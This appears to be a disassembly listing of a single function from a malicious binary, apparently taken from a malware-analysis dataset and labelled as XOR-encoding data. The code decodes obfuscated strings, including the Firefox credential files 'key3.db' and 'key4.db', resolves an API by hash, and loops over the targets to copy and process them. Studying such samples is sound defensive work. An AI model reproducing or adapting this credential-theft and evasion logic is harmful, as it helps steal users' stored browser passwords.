Function at 0x415a78
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x120
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], 0xc465a54
mov ebp, edx
mov dword [esp + 0x48], edi
mov word [esp + 0x14], 0x5b11
xor ecx, ecx
mov byte [esp + 0x16], 0x5d
mov al, byte [esp + ecx + 0x10]
xor al, 0x3f
movzx eax, al
mov word [esp + ecx*2 + 0x64], ax
inc ecx
cmp ecx, 7
jl 0x415aa0
xor eax, eax
mov dword [esp + 0x10], 0x175a4648
mov word [esp + 0x72], ax
xor ecx, ecx
mov word [esp + 0x14], 0x470d
mov byte [esp + 0x16], 0x41
mov al, byte [esp + ecx + 0x10]
xor al, 0x23
movzx eax, al
mov word [esp + ecx*2 + 0x74], ax
inc ecx
cmp ecx, 7
jl 0x415ad1
mov dword [esp + 0x10], 0x807e716f
xorps xmm0, xmm0
mov dword [esp + 0x14], 0x6e703a44
xor eax, eax
movq xmm1, qword [esp + 0x10]
xor ecx, ecx
punpcklbw xmm1, xmm0
mov edx, 0xff
psubw xmm1, xmmword [str._f_f_f_f_f_f_f_fyyyyyyyy]
pand xmm1, xmmword [0x420f80]
movups xmmword [esp + 0x94], xmm1
mov dword [esp + 0x10], 0x4f495e58
movaps xmm1, xmmword [0x420fd0]
mov dword [esp + 0x14], 0x595f1502
movq xmm0, qword [esp + 0x10]
pxor xmm1, xmm0
mov word [esp + 0x82], ax
xorps xmm0, xmm0
mov word [esp + 0xa4], ax
punpcklbw xmm1, xmm0
movups xmmword [esp + 0xa8], xmm1
mov word [esp + 0xb8], ax
mov dword [esp + 0x10], 0x902040e
mov dword [esp + 0x14], 0xc90e090a
mov dword [esp + 0x18], 0x4070c0e
mov word [esp + 0x1c], 0xf
movzx eax, byte [esp + ecx + 0x10]
add ax, 0x65
and ax, dx
mov word [esp + ecx*2 + 0xec], ax
inc ecx
cmp ecx, 0xe
jl 0x415b8a
xor eax, eax
mov dword [esp + 0x10], 0x5a545c5f
mov word [esp + 0x108], ax
xor ecx, ecx
mov dword [esp + 0x14], 0x591d405d
mov word [esp + 0x18], 0x5c40
mov byte [esp + 0x1a], 0x5d
mov al, byte [esp + ecx + 0x10]
xor al, 0x33
movzx eax, al
mov word [esp + ecx*2 + 0xd4], ax
inc ecx
cmp ecx, 0xb
jl 0x415bcc
xor eax, eax
mov dword [esp + 0x10], 0xc4dbd48d
mov word [esp + 0xea], ax
xor ebx, ebx
lea eax, [esp + 0x64]
mov word [esp + 0x14], 0xd48d
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x74]
mov dword [esp + 0x50], eax
lea eax, [esp + 0x94]
mov dword [esp + 0x54], eax
lea eax, [esp + 0xa8]
mov dword [esp + 0x58], eax
lea eax, [esp + 0xec]
mov dword [esp + 0x5c], eax
lea eax, [esp + 0xd4]
mov dword [esp + 0x60], eax
mov byte [esp + 0x16], 0xdb
xor ecx, ecx
movzx eax, byte [esp + ecx + 0x10]
sub ax, 0x68
and ax, dx
mov word [esp + ecx*2 + 0x84], ax
inc ecx
cmp ecx, 7
jl 0x415c41
push dword [esp + ebx*4 + 0x4c]
xor eax, eax
mov word [esp + 0x96], ax
lea eax, [esp + 0x88]
push ebp
push eax
call fcn.0041b96a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x415d7d
xor ecx, ecx
mov edx, 0xeeb55893
push esi
inc ecx
call fcn.00412cbc
call eax
cmp eax, 0xffffffff
je 0x415d76
mov dword [esp + 0x34], 0xbdb7b09f
xor ecx, ecx
mov dword [esp + 0x38], 0xbabcbef9
mov dword [esp + 0x3c], 0xbff9b6b2
mov dword [esp + 0x40], 0xf9bcb5b0
mov dword [esp + 0x44], 0xd3aab5fc
mov al, byte [esp + ecx + 0x34]
xor al, 0xd9
mov byte [esp + ecx + 0xbc], al
inc ecx
cmp ecx, 0x14
jl 0x415cc7
mov byte [esp + 0xd0], 0
xor ecx, ecx
mov dword [esp + 0x20], 0x372f3113
mov edx, 0xff
mov dword [esp + 0x24], 0x38f1fb3b
mov dword [esp + 0x28], 0x38f1fb3f
mov dword [esp + 0x2c], 0x38f1fb3f
mov byte [esp + 0x30], 0x3f
movzx eax, byte [esp + ecx + 0x20]
add ax, 0x34
and ax, dx
mov word [esp + ecx*2 + 0x10c], ax
inc ecx
cmp ecx, 0x11
jl 0x415d0e
xor eax, eax
mov word [esp + 0x12e], ax
lea eax, [esp + 0xbc]
push esi
push eax
call fcn.00412606
push dword [esp + ebx*4 + 0x54]
lea eax, [esp + 0x118]
push dword [esp + 0x140]
push edi
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0x18
test edi, edi
je 0x415d72
mov edx, edi
mov ecx, esi
call fcn.00418b32
push edi
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x48]
push esi
call fcn.004056f0
pop ecx
inc ebx
mov edx, 0xff
cmp ebx, 6
jb 0x415c3f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret